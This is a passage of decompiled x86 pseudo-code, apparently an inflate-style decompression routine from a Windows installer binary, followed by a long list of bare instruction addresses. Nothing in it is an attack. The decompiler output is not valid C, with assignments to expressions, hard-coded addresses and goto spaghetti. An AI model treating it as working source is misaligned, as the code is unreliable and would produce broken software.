											if((__cl & 0x00000010) == 0) {
												L124:
												__eflags = __cl & 0x00000040;
												if((__cl & 0x00000040) != 0) {
													goto L9;
												}
												L125:
												__esi[3] = __ecx;
												__ecx =  *(__eax + 2) & 0x0000ffff;
												__esi[2] = __eax;
												goto L180;
											}
											L123:
											__esi[2] = __ecx;
											__esi[3] = __eax;
											 *__esi = 4;
											goto L180;
										case 4:
											L126:
											__eax = __esi[2];
											while(1) {
												L129:
												__eflags = __ebx - __eax;
												if(__ebx >= __eax) {
													break;
												}
												L127:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L128:
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
												__ecx = __ebx;
												__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L130:
											 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
											__esi[3] = __esi[3] + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
											__ecx = __eax;
											 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
											__ebx = __ebx - __eax;
											__eflags = __ebx;
											 *__esi = 5;
											goto L131;
										case 5:
											L131:
											__eax =  *(__ebp - 0x30);
											__edx = __esi[3];
											__eax = __eax - __esi;
											__ecx = __eax - __esi - 0x1ba0;
											__eflags = __eax - __esi - 0x1ba0 - __edx;
											if(__eax - __esi - 0x1ba0 >= __edx) {
												__ecx = __eax;
												__ecx = __eax - __edx;
												__eflags = __ecx;
											} else {
												__esi[0x26e8] = __esi[0x26e8] - __edx;
												__ecx = __esi[0x26e8] - __edx - __esi;
												__ecx = __esi[0x26e8] - __edx - __esi + __eax - 0x1ba0;
											}
											__eflags = __esi[1];
											 *(__ebp - 0x20) = __ecx;
											if(__esi[1] != 0) {
												L135:
												__edi =  *(__ebp - 0x2c);
												do {
													L136:
													__eflags = __edi;
													if(__edi != 0) {
														goto L152;
													}
													L137:
													__edi = __esi[0x26e8];
													__eflags = __eax - __edi;
													if(__eax != __edi) {
														L143:
														__esi[0x26ea] = __eax;
														__eax = E004073F0( *((intOrPtr*)(__ebp + 8)));
														__eax = __esi[0x26ea];
														__ecx = __esi[0x26e9];
														__eflags = __eax - __ecx;
														 *(__ebp - 0x30) = __eax;
														if(__eax >= __ecx) {
															__edi = __esi[0x26e8];
															__edi = __esi[0x26e8] - __eax;
															__eflags = __edi;
														} else {
															__ecx = __ecx - __eax;
															__edi = __ecx - __eax - 1;
														}
														__edx = __esi[0x26e8];
														__eflags = __eax - __edx;
														 *(__ebp - 8) = __edx;
														if(__eax == __edx) {
															__edx =  &(__esi[0x6e8]);
															__eflags = __ecx - __edx;
															if(__ecx != __edx) {
																__eax = __edx;
																__eflags = __eax - __ecx;
																 *(__ebp - 0x30) = __eax;
																if(__eax >= __ecx) {
																	__edi =  *(__ebp - 8);
																	__edi =  *(__ebp - 8) - __eax;
																	__eflags = __edi;
																} else {
																	__ecx = __ecx - __eax;
																	__edi = __ecx;
																}
															}
														}
														__eflags = __edi;
														if(__edi == 0) {
															goto L183;
														} else {
															goto L152;
														}
													}
													L138:
													__ecx = __esi[0x26e9];
													__edx =  &(__esi[0x6e8]);
													__eflags = __ecx - __edx;
													if(__ecx == __edx) {
														goto L143;
													}
													L139:
													__eax = __edx;
													__eflags = __eax - __ecx;
													if(__eax >= __ecx) {
														__edi = __edi - __eax;
														__eflags = __edi;
													} else {
														__ecx = __ecx - __eax;
														__edi = __ecx;
													}
													__eflags = __edi;
													if(__edi == 0) {
														goto L143;
													}
													L152:
													__ecx =  *(__ebp - 0x20);
													 *__eax =  *__ecx;
													__eax = __eax + 1;
													__ecx = __ecx + 1;
													__edi = __edi - 1;
													__eflags = __ecx - __esi[0x26e8];
													 *(__ebp - 0x30) = __eax;
													 *(__ebp - 0x20) = __ecx;
													 *(__ebp - 0x2c) = __edi;
													if(__ecx == __esi[0x26e8]) {
														__ecx =  &(__esi[0x6e8]);
														 *(__ebp - 0x20) =  &(__esi[0x6e8]);
													}
													_t357 =  &(__esi[1]);
													 *_t357 = __esi[1] - 1;
													__eflags =  *_t357;
												} while ( *_t357 != 0);
											}
											goto L23;
										case 6:
											L156:
											__eax =  *(__ebp - 0x2c);
											__edi =  *(__ebp - 0x30);
											__eflags = __eax;
											if(__eax != 0) {
												L172:
												__cl = __esi[2];
												 *__edi = __cl;
												__edi = __edi + 1;
												__eax = __eax - 1;
												 *(__ebp - 0x30) = __edi;
												 *(__ebp - 0x2c) = __eax;
												goto L23;
											}
											L157:
											__ecx = __esi[0x26e8];
											__eflags = __edi - __ecx;
											if(__edi != __ecx) {
												L163:
												__esi[0x26ea] = __edi;
												__eax = E004073F0( *((intOrPtr*)(__ebp + 8)));
												__edi = __esi[0x26ea];
												__ecx = __esi[0x26e9];
												__eflags = __edi - __ecx;
												 *(__ebp - 0x30) = __edi;
												if(__edi >= __ecx) {
													__eax = __esi[0x26e8];
													__eax = __esi[0x26e8] - __edi;
													__eflags = __eax;
												} else {
													__ecx = __ecx - __edi;
													__eax = __ecx - __edi - 1;
												}
												__edx = __esi[0x26e8];
												__eflags = __edi - __edx;
												 *(__ebp - 8) = __edx;
												if(__edi == __edx) {
													__edx =  &(__esi[0x6e8]);
													__eflags = __ecx - __edx;
													if(__ecx != __edx) {
														__edi = __edx;
														__eflags = __edi - __ecx;
														 *(__ebp - 0x30) = __edi;
														if(__edi >= __ecx) {
															__eax =  *(__ebp - 8);
															__eax =  *(__ebp - 8) - __edi;
															__eflags = __eax;
														} else {
															__ecx = __ecx - __edi;
															__eax = __ecx;
														}
													}
												}
												__eflags = __eax;
												if(__eax == 0) {
													goto L183;
												} else {
													goto L172;
												}
											}
											L158:
											__eax = __esi[0x26e9];
											__edx =  &(__esi[0x6e8]);
											__eflags = __eax - __edx;
											if(__eax == __edx) {
												goto L163;
											}
											L159:
											__edi = __edx;
											__eflags = __edi - __eax;
											if(__edi >= __eax) {
												__ecx = __ecx - __edi;
												__eflags = __ecx;
												__eax = __ecx;
											} else {
												__eax = __eax - __edi;
												__eax = __eax - 1;
											}
											__eflags = __eax;
											if(__eax != 0) {
												goto L172;
											} else {
												goto L163;
											}
										case 7:
											L173:
											__eflags = __ebx - 7;
											if(__ebx > 7) {
												__ebx = __ebx - 8;
												 *(__ebp - 0x34) =  *(__ebp - 0x34) + 1;
												_t380 = __ebp - 0x38;
												 *_t380 =  *(__ebp - 0x38) - 1;
												__eflags =  *_t380;
											}
											goto L175;
										case 8:
											L4:
											while(_t425 < 3) {
												if( *(_t448 - 0x34) == 0) {
													goto L182;
												} else {
													 *(_t448 - 0x34) =  *(_t448 - 0x34) - 1;
													 *(_t448 - 0x40) =  *(_t448 - 0x40) | ( *( *(_t448 - 0x38)) & 0x000000ff) << _t425;
													 *(_t448 - 0x38) =  &(( *(_t448 - 0x38))[1]);
													_t425 = _t425 + 8;
													continue;
												}
											}
											_t425 = _t425 - 3;
											 *(_t448 - 0x40) =  *(_t448 - 0x40) >> 3;
											_t406 =  *(_t448 - 0x40) & 0x00000007;
											asm("sbb ecx, ecx");
											_t408 = _t406 >> 1;
											_t446[0x145] = ( ~(_t406 & 0x00000001) & 0x00000007) + 8;
											if(_t408 == 0) {
												L24:
												 *_t446 = 9;
												_t436 = _t425 & 0x00000007;
												 *(_t448 - 0x40) =  *(_t448 - 0x40) >> _t436;
												_t425 = _t425 - _t436;
												goto L180;
											}
											L6:
											_t411 = _t408 - 1;
											if(_t411 == 0) {
												L13:
												__eflags =  *0x46ae90;
												if( *0x46ae90 != 0) {
													L22:
													_t412 =  *0x40a5e8; // 0x9
													_t446[4] = _t412;
													_t413 =  *0x40a5ec; // 0x5
													_t446[4] = _t413;
													_t414 =  *0x469d0c; // 0x0
													_t446[5] = _t414;
													_t415 =  *0x469d08; // 0x0
													_t446[6] = _t415;
													L23:
													 *_t446 =  *_t446 & 0x00000000;
													goto L180;
												} else {
													_t26 = _t448 - 8;
													 *_t26 =  *(_t448 - 8) & 0x00000000;
													__eflags =  *_t26;
													_t416 = 0x469d10;
													goto L15;
													L20:
													 *_t416 = _t438;
													_t416 = _t416 + 4;
													__eflags = _t416 - 0x46a190;
													if(_t416 < 0x46a190) {
														L15:
														__eflags = _t416 - 0x469f4c;
														_t438 = 8;
														if(_t416 > 0x469f4c) {
															__eflags = _t416 - 0x46a110;
															if(_t416 >= 0x46a110) {
																__eflags = _t416 - 0x46a170;
																if(_t416 < 0x46a170) {
																	_t438 = 7;
																}
															} else {
																_t438 = 9;
															}
														}
														goto L20;
													} else {
														E00407458(0x469d10, 0x120, 0x101, 0x4084e8, 0x408528, 0x469d0c, 0x40a5e8, 0x46a610, _t448 - 8);
														_push(0x1e);
														_pop(_t440);
														_push(5);
														_pop(_t419);
														memset(0x469d10, _t419, _t440 << 2);
														_t450 = _t450 + 0xc;
														_t442 = 0x469d10 + _t440;
														E00407458(0x469d10, 0x1e, 0, 0x408568, 0x4085a4, 0x469d08, 0x40a5ec, 0x46a610, _t448 - 8);
														 *0x46ae90 =  *0x46ae90 + 1;
														__eflags =  *0x46ae90;
														goto L22;
													}
												}
											}
											L7:
											_t423 = _t411 - 1;
											if(_t423 == 0) {
												 *_t446 = 0xb;
												goto L180;
											}
											L8:
											if(_t423 != 1) {
												goto L180;
											}
											goto L9;
										case 9:
											while(1) {
												L27:
												__eflags = __ebx - 0x20;
												if(__ebx >= 0x20) {
													break;
												}
												L25:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L26:
												__eax =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__ecx = __ebx;
												 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L28:
											__eax =  *(__ebp - 0x40);
											__ebx = 0;
											__eax =  *(__ebp - 0x40) & 0x0000ffff;
											 *(__ebp - 0x40) = 0;
											__eflags = __eax;
											__esi[1] = __eax;
											if(__eax == 0) {
												goto L53;
											}
											L29:
											_push(0xa);
											_pop(__eax);
											goto L54;
										case 0xa:
											L30:
											__eflags =  *(__ebp - 0x34);
											if( *(__ebp - 0x34) == 0) {
												goto L182;
											}
											L31:
											__eax =  *(__ebp - 0x2c);
											__eflags = __eax;
											if(__eax != 0) {
												L48:
												__eflags = __eax -  *(__ebp - 0x34);
												if(__eax >=  *(__ebp - 0x34)) {
													__eax =  *(__ebp - 0x34);
												}
												__ecx = __esi[1];
												__eflags = __ecx - __eax;
												__edi = __ecx;
												if(__ecx >= __eax) {
													__edi = __eax;
												}
												__eax = E00405EC2( *(__ebp - 0x30),  *(__ebp - 0x38), __edi);
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + __edi;
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - __edi;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __edi;
												 *(__ebp - 0x2c) =  *(__ebp - 0x2c) - __edi;
												_t80 =  &(__esi[1]);
												 *_t80 = __esi[1] - __edi;
												__eflags =  *_t80;
												if( *_t80 == 0) {
													L53:
													__eax = __esi[0x145];
													L54:
													 *__esi = __eax;
												}
												goto L180;
											}
											L32:
											__ecx = __esi[0x26e8];
											__edx =  *(__ebp - 0x30);
											__eflags = __edx - __ecx;
											if(__edx != __ecx) {
												L38:
												__esi[0x26ea] = __edx;
												__eax = E004073F0( *((intOrPtr*)(__ebp + 8)));
												__edx = __esi[0x26ea];
												__ecx = __esi[0x26e9];
												__eflags = __edx - __ecx;
												 *(__ebp - 0x30) = __edx;
												if(__edx >= __ecx) {
													__eax = __esi[0x26e8];
													__eax = __esi[0x26e8] - __edx;
													__eflags = __eax;
												} else {
													__ecx = __ecx - __edx;
													__eax = __ecx - __edx - 1;
												}
												__edi = __esi[0x26e8];
												 *(__ebp - 0x2c) = __eax;
												__eflags = __edx - __edi;
												if(__edx == __edi) {
													__edx =  &(__esi[0x6e8]);
													__eflags = __edx - __ecx;
													if(__eflags != 0) {
														 *(__ebp - 0x30) = __edx;
														if(__eflags >= 0) {
															__edi = __edi - __edx;
															__eflags = __edi;
															__eax = __edi;
														} else {
															__ecx = __ecx - __edx;
															__eax = __ecx;
														}
														 *(__ebp - 0x2c) = __eax;
													}
												}
												__eflags = __eax;
												if(__eax == 0) {
													goto L183;
												} else {
													goto L48;
												}
											}
											L33:
											__eax = __esi[0x26e9];
											__edi =  &(__esi[0x6e8]);
											__eflags = __eax - __edi;
											if(__eax == __edi) {
												goto L38;
											}
											L34:
											__edx = __edi;
											__eflags = __edx - __eax;
											 *(__ebp - 0x30) = __edx;
											if(__edx >= __eax) {
												__ecx = __ecx - __edx;
												__eflags = __ecx;
												__eax = __ecx;
											} else {
												__eax = __eax - __edx;
												__eax = __eax - 1;
											}
											__eflags = __eax;
											 *(__ebp - 0x2c) = __eax;
											if(__eax != 0) {
												goto L48;
											} else {
												goto L38;
											}
										case 0xb:
											goto L56;
										case 0xc:
											L60:
											__esi[1] = __esi[1] >> 0xa;
											__eax = (__esi[1] >> 0xa) + 4;
											if(__esi[2] >= (__esi[1] >> 0xa) + 4) {
												goto L68;
											}
											goto L61;
										case 0xd:
											while(1) {
												L93:
												__eax = __esi[1];
												__ecx = __esi[2];
												__edx = __eax;
												__eax = __eax & 0x0000001f;
												__edx = __edx >> 5;
												__eax = __edx + __eax + 0x102;
												__eflags = __esi[2] - __eax;
												if(__esi[2] >= __eax) {
													break;
												}
												L73:
												__eax = __esi[0x143];
												while(1) {
													L76:
													__eflags = __ebx - __eax;
													if(__ebx >= __eax) {
														break;
													}
													L74:
													__eflags =  *(__ebp - 0x34);
													if( *(__ebp - 0x34) == 0) {
														goto L182;
													}
													L75:
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
													__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
													__ecx = __ebx;
													__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
													 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
													 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
													__ebx = __ebx + 8;
													__eflags = __ebx;
												}
												L77:
												__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
												__eax = __eax &  *(__ebp - 0x40);
												__ecx = __esi[0x144];
												__eax = __esi[0x144] + __eax * 4;
												__edx =  *(__eax + 1) & 0x000000ff;
												__eax =  *(__eax + 2) & 0x0000ffff;
												__eflags = __eax - 0x10;
												 *(__ebp - 0x14) = __eax;
												if(__eax >= 0x10) {
													L79:
													__eflags = __eax - 0x12;
													if(__eax != 0x12) {
														__eax = __eax + 0xfffffff2;
														 *(__ebp - 8) = 3;
													} else {
														_push(7);
														 *(__ebp - 8) = 0xb;
														_pop(__eax);
													}
													while(1) {
														L84:
														__ecx = __eax + __edx;
														__eflags = __ebx - __eax + __edx;
														if(__ebx >= __eax + __edx) {
															break;
														}
														L82:
														__eflags =  *(__ebp - 0x34);
														if( *(__ebp - 0x34) == 0) {
															goto L182;
														}
														L83:
														__ecx =  *(__ebp - 0x38);
														 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
														__edi =  *( *(__ebp - 0x38)) & 0x000000ff;
														__ecx = __ebx;
														__edi = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
														 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
														 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
														__ebx = __ebx + 8;
														__eflags = __ebx;
													}
													L85:
													__ecx = __edx;
													__ebx = __ebx - __edx;
													 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
													 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
													__edx =  *(__ebp - 8);
													__ebx = __ebx - __eax;
													__edx =  *(__ebp - 8) + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
													__ecx = __eax;
													__eax = __esi[1];
													 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
													__ecx = __esi[2];
													__eax = __eax >> 5;
													__edi = __eax >> 0x00000005 & 0x0000001f;
													__eax = __eax & 0x0000001f;
													__eax = __edi + __eax + 0x102;
													__edi = __edx + __ecx;
													__eflags = __edx + __ecx - __eax;
													if(__edx + __ecx > __eax) {
														goto L9;
													}
													L86:
													__eflags =  *(__ebp - 0x14) - 0x10;
													if( *(__ebp - 0x14) != 0x10) {
														L89:
														__edi = 0;
														__eflags = 0;
														L90:
														__eax = __esi + 0xc + __ecx * 4;
														do {
															L91:
															 *__eax = __edi;
															__ecx = __ecx + 1;
															__eax = __eax + 4;
															__edx = __edx - 1;
															__eflags = __edx;
														} while (__edx != 0);
														__esi[2] = __ecx;
														continue;
													}
													L87:
													__eflags = __ecx - 1;
													if(__ecx < 1) {
														goto L9;
													}
													L88:
													__edi =  *(__esi + 8 + __ecx * 4);
													goto L90;
												}
												L78:
												__ecx = __edx;
												__ebx = __ebx - __edx;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
												__ecx = __esi[2];
												 *(__esi + 0xc + __esi[2] * 4) = __eax;
												__esi[2] = __esi[2] + 1;
											}
											L94:
											__eax = __esi[1];
											__esi[0x144] = __esi[0x144] & 0x00000000;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) & 0x00000000;
											__edi = __eax;
											__eax = __eax >> 5;
											__edi = __edi & 0x0000001f;
											__ecx = 0x101;
											__eax = __eax & 0x0000001f;
											__edi = __edi + 0x101;
											__eax = __eax + 1;
											__edx = __ebp - 0xc;
											 *(__ebp - 0x14) = __eax;
											 &(__esi[0x148]) = __ebp - 4;
											 *(__ebp - 4) = 9;
											__ebp - 0x18 =  &(__esi[3]);
											 *(__ebp - 0x10) = 6;
											__eax = E00407458( &(__esi[3]), __edi, 0x101, 0x4084e8, 0x408528, __ebp - 0x18, __ebp - 4,  &(__esi[0x148]), __ebp - 0xc);
											__eflags =  *(__ebp - 4);
											if( *(__ebp - 4) == 0) {
												__eax = __eax | 0xffffffff;
												__eflags = __eax;
											}
											__eflags = __eax;
											if(__eax != 0) {
												goto L9;
											} else {
												L97:
												__ebp - 0xc =  &(__esi[0x148]);
												__ebp - 0x10 = __ebp - 0x1c;
												__eax = __esi + 0xc + __edi * 4;
												__eax = E00407458(__esi + 0xc + __edi * 4,  *(__ebp - 0x14), 0, 0x408568, 0x4085a4, __ebp - 0x1c, __ebp - 0x10,  &(__esi[0x148]), __ebp - 0xc);
												__eflags = __eax;
												if(__eax != 0) {
													goto L9;
												}
												L98:
												__eax =  *(__ebp - 0x10);
												__eflags =  *(__ebp - 0x10);
												if( *(__ebp - 0x10) != 0) {
													L100:
													__cl =  *(__ebp - 4);
													 *__esi =  *__esi & 0x00000000;
													__eflags =  *__esi;
													__esi[4] = __al;
													__eax =  *(__ebp - 0x18);
													__esi[5] =  *(__ebp - 0x18);
													__eax =  *(__ebp - 0x1c);
													__esi[4] = __cl;
													__esi[6] =  *(__ebp - 0x1c);
													goto L101;
												}
												L99:
												__eflags = __edi - 0x101;
												if(__edi > 0x101) {
													goto L9;
												}
												goto L100;
											}
										case 0xe:
											goto L9;
										case 0xf:
											L175:
											__eax =  *(__ebp - 0x30);
											__esi[0x26ea] =  *(__ebp - 0x30);
											__eax = E004073F0( *((intOrPtr*)(__ebp + 8)));
											__ecx = __esi[0x26ea];
											__edx = __esi[0x26e9];
											__eflags = __ecx - __edx;
											 *(__ebp - 0x30) = __ecx;
											if(__ecx >= __edx) {
												__eax = __esi[0x26e8];
												__eax = __esi[0x26e8] - __ecx;
												__eflags = __eax;
											} else {
												__edx = __edx - __ecx;
												__eax = __edx - __ecx - 1;
											}
											__eflags = __ecx - __edx;
											 *(__ebp - 0x2c) = __eax;
											if(__ecx != __edx) {
												L183:
												__edi = 0;
												goto L10;
											} else {
												L179:
												__eax = __esi[0x145];
												__eflags = __eax - 8;
												 *__esi = __eax;
												if(__eax != 8) {
													L184:
													0 = 1;
													goto L10;
												}
												goto L180;
											}
									}
								}
								L181:
								goto L9;
							}
							L70:
							if( *__edi == __eax) {
								goto L72;
							}
							L71:
							__esi[2] = __esi[2] & __eax;
							 *__esi = 0xd;
							goto L93;
						}
					}
				}
				L182:
				_t443 = 0;
				_t446[0x147] =  *(_t448 - 0x40);
				_t446[0x146] = _t425;
				( *(_t448 + 8))[1] = 0;
				goto L11;
			}

0x00406c81
0x00406c81
0x00406c81
0x00406c81
0x00406c81
0x00406c85
0x00000000
0x00000000
0x00406c8b
0x00406c8b
0x00406c8e
0x00406c91
0x00406c96
0x00406c98
0x00406c9b
0x00406c9e
0x00406ca1
0x00406ca1
0x00406ca4
0x00000000
0x00000000
0x00406ca6
0x00406ca6
0x00406ca9
0x00406cae
0x00406cb0
0x00406cb3
0x00406cb9
0x00406a18
0x00406a18
0x00406a1b
0x00406a21
0x00406a27
0x00406a30
0x00406a36
0x00406a39
0x00406a40
0x00406a45
0x00406a4b
0x00406a56
0x00406a56
0x00406cbf
0x00406cbf
0x00406cc9
0x00000000
0x00000000
0x00406ccf
0x00406ccf
0x00406cd3
0x00406cd6
0x00406cd6
0x00406cda
0x00406ce0
0x00406ce0
0x00406ce3
0x00406ce6
0x00406cec
0x00000000
0x00000000
0x00406cee
0x00406d10
0x00406d10
0x00406d13
0x00000000
0x00000000
0x00406cf0
0x00406cf4
0x00000000
0x00000000
0x00406cfa
0x00406cfa
0x00406cfd
0x00406d00
0x00406d05
0x00406d07
0x00406d0a
0x00406d0d
0x00406d0d
0x00406d15
0x00406d15
0x00406d1b
0x00406d1e
0x00406d21
0x00406d21
0x00406d28
0x00406d2c
0x00406d30
0x00406d33
0x00406d36
0x00406d3c
0x00406d41
0x00000000
0x00000000
0x00406d43
0x00406d57
0x00406d57
0x00406d5b
0x00000000
0x00000000
0x00406d45
0x00406d48
0x00406d48
0x00406d4f
0x00406d54
0x00406d54
0x00406d54
0x00406d5d
0x00406d5d
0x00406d60
0x00406d6e
0x00406d74
0x00406d79
0x00406d7f
0x00406d85
0x00406d8b
0x00406d92
0x00406da6
0x00406da6
0x00407375
0x00407375
0x00407375
0x0040737a
0x00000000
0x00000000
0x004069b2
0x004069b2
0x00000000
0x00406fad
0x00406fad
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00000000
0x00000000
0x00406fc0
0x00406fc0
0x00406fe5
0x00406fe5
0x00406fe5
0x00406fe7
0x00000000
0x00000000
0x00406fc5
0x00406fc5
0x00406fc9
0x00000000
0x00000000
0x00406fcf
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fd8
0x00406fda
0x00406fdc
0x00406fdf
0x00406fe2
0x00406fe2
0x00406fe2
0x00406fe9
0x00406fe9
0x00406ff1
0x00406ff4
0x00406ff7
0x00406ffa
0x00406ffe
0x00407001
0x00407003
0x00407006
0x00407008
0x0040701c
0x0040701c
0x0040701f
0x00407039
0x00407039
0x0040703c
0x00000000
0x00000000
0x00407042
0x00407042
0x00407045
0x00000000
0x00000000
0x0040704b
0x0040704b
0x00000000
0x0040704b
0x00407021
0x00407024
0x0040702b
0x0040702e
0x00000000
0x0040702e
0x0040700a
0x0040700e
0x00407011
0x00000000
0x00000000
0x00407056
0x00407056
0x0040707b
0x0040707b
0x0040707b
0x0040707d
0x00000000
0x00000000
0x0040705b
0x0040705b
0x0040705f
0x00000000
0x00000000
0x00407065
0x00407065
0x00407068
0x0040706b
0x0040706e
0x00407070
0x00407072
0x00407075
0x00407078
0x00407078
0x00407078
0x0040707f
0x00407087
0x0040708a
0x0040708d
0x0040708f
0x00407092
0x00407092
0x00407094
0x00407098
0x0040709b
0x0040709e
0x004070a1
0x00000000
0x00000000
0x004070a7
0x004070a7
0x004070cc
0x004070cc
0x004070cc
0x004070ce
0x00000000
0x00000000
0x004070ac
0x004070ac
0x004070b0
0x00000000
0x00000000
0x004070b6
0x004070b6
0x004070b9
0x004070bc
0x004070bf
0x004070c1
0x004070c3
0x004070c6
0x004070c9
0x004070c9
0x004070c9
0x004070d0
0x004070d0
0x004070d8
0x004070db
0x004070de
0x004070e1
0x004070e5
0x004070e8
0x004070ea
0x004070ed
0x004070f0
0x0040710a
0x0040710a
0x0040710d
0x00000000
0x00000000
0x00407113
0x00407113
0x00407116
0x0040711d
0x00000000
0x0040711d
0x004070f2
0x004070f5
0x004070fc
0x004070ff
0x00000000
0x00000000
0x00407125
0x00407125
0x0040714a
0x0040714a
0x0040714a
0x0040714c
0x00000000
0x00000000
0x0040712a
0x0040712a
0x0040712e
0x00000000
0x00000000
0x00407134
0x00407134
0x00407137
0x0040713a
0x0040713d
0x0040713f
0x00407141
0x00407144
0x00407147
0x00407147
0x00407147
0x0040714e
0x00407156
0x00407159
0x0040715c
0x0040715e
0x00407161
0x00407161
0x00407163
0x00000000
0x00000000
0x00407169
0x00407169
0x0040716c
0x00407171
0x00407173
0x00407179
0x0040717b
0x00407190
0x00407192
0x00407192
0x0040717d
0x00407183
0x00407185
0x00407187
0x00407187
0x00407194
0x00407198
0x0040719b
0x004071a1
0x004071a1
0x004071a4
0x004071a4
0x004071a4
0x004071a6
0x00000000
0x00000000
0x004071ac
0x004071ac
0x004071b2
0x004071b4
0x004071d9
0x004071dc
0x004071e2
0x004071e7
0x004071ed
0x004071f3
0x004071f5
0x004071f8
0x00407201
0x00407207
0x00407207
0x004071fa
0x004071fc
0x004071fe
0x004071fe
0x00407209
0x0040720f
0x00407211
0x00407214
0x00407216
0x0040721c
0x0040721e
0x00407220
0x00407222
0x00407224
0x00407227
0x00407230
0x00407233
0x00407233
0x00407229
0x00407229
0x0040722c
0x0040722c
0x00407227
0x0040721e
0x00407235
0x00407237
0x00000000
0x00000000
0x00000000
0x00000000
0x00407237
0x004071b6
0x004071b6
0x004071bc
0x004071c2
0x004071c4
0x00000000
0x00000000
0x004071c6
0x004071c6
0x004071c8
0x004071ca
0x004071d3
0x004071d3
0x004071cc
0x004071cc
0x004071cf
0x004071cf
0x004071d5
0x004071d7
0x00000000
0x00000000
0x0040723d
0x0040723d
0x00407242
0x00407244
0x00407245
0x00407246
0x00407247
0x0040724d
0x00407250
0x00407253
0x00407256
0x00407258
0x0040725e
0x0040725e
0x00407261
0x00407261
0x00407261
0x00407261
0x0040726a
0x00000000
0x00000000
0x0040726f
0x0040726f
0x00407272
0x00407275
0x00407277
0x0040730e
0x0040730e
0x00407311
0x00407313
0x00407314
0x00407315
0x00407318
0x00000000
0x00407318
0x0040727d
0x0040727d
0x00407283
0x00407285
0x004072aa
0x004072ad
0x004072b3
0x004072b8
0x004072be
0x004072c4
0x004072c6
0x004072c9
0x004072d2
0x004072d8
0x004072d8
0x004072cb
0x004072cd
0x004072cf
0x004072cf
0x004072da
0x004072e0
0x004072e2
0x004072e5
0x004072e7
0x004072ed
0x004072ef
0x004072f1
0x004072f3
0x004072f5
0x004072f8
0x00407301
0x00407304
0x00407304
0x004072fa
0x004072fa
0x004072fd
0x004072fd
0x004072f8
0x004072ef
0x00407306
0x00407308
0x00000000
0x00000000
0x00000000
0x00000000
0x00407308
0x00407287
0x00407287
0x0040728d
0x00407293
0x00407295
0x00000000
0x00000000
0x00407297
0x00407297
0x00407299
0x0040729b
0x004072a2
0x004072a2
0x004072a4
0x0040729d
0x0040729d
0x0040729f
0x0040729f
0x004072a6
0x004072a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407320
0x00407320
0x00407323
0x00407325
0x00407328
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x00000000
0x00000000
0x00000000
0x004069d9
0x004069bd
0x00000000
0x004069c3
0x004069c6
0x004069d0
0x004069d3
0x004069d6
0x00000000
0x004069d6
0x004069bd
0x004069e1
0x004069e4
0x004069e8
0x004069f2
0x004069fc
0x004069ff
0x00406a05
0x00406b39
0x00406b3b
0x00406b41
0x00406b44
0x00406b47
0x00000000
0x00406b47
0x00406a0b
0x00406a0b
0x00406a0c
0x00406a64
0x00406a64
0x00406a6b
0x00406b11
0x00406b11
0x00406b16
0x00406b19
0x00406b1e
0x00406b21
0x00406b26
0x00406b29
0x00406b2e
0x00406b31
0x00406b31
0x00000000
0x00406a71
0x00406a71
0x00406a71
0x00406a71
0x00406a75
0x00406a75
0x00406a97
0x00406a9a
0x00406a9c
0x00406a9f
0x00406aa4
0x00406a7a
0x00406a7a
0x00406a7f
0x00406a81
0x00406a83
0x00406a88
0x00406a8e
0x00406a93
0x00406a95
0x00406a95
0x00406a8a
0x00406a8a
0x00406a8a
0x00406a88
0x00000000
0x00406aa6
0x00406ad3
0x00406ad8
0x00406ada
0x00406adb
0x00406add
0x00406ade
0x00406ade
0x00406ade
0x00406b06
0x00406b0b
0x00406b0b
0x00000000
0x00406b0b
0x00406aa4
0x00406a6b
0x00406a0e
0x00406a0e
0x00406a0f
0x00406a59
0x00000000
0x00406a59
0x00406a11
0x00406a12
